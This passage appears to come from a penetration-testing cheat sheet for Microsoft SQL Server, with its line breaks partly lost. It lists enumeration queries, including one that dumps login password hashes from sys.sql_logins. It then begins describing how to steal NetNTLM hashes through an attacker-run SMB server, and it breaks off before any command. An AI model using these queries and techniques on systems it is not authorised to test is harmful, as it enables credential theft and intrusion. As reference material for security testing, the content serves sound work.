-- Get versionSELECT @@version;-- Get usernameSELECTuser_name();-- Get databasesSELECTnameFROM master.dbo.sysdatabases;SELECT*FROM information_schema.schemata;-- Tables from DBSELECT*FROM information_schema.tables;-- Columns from tableSELECT*FROM information_schema.columns;-- List usersSELECT sp.name AS LOGIN, sp.type_desc AS LOGIN_TYPE, sl.password_hash, sp.create_date, sp.modify_date, CASE WHEN sp.is_disabled = 1 THEN "Disabled" ELSE "Enabled" END AS STATUS FROM sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id WHERE sp.type NOT IN ("G", "R") ORDER BY sp.name;
-- Users and rolesSELECT*FROM sys.database_principals;
Tricks / Attacks
Steal NetNTLM hash
When executing a command on the SQL server which requests resources from the attacker's SMB server, the hash will be captured on that server.
Start an SMB server to capture hash upon request (local).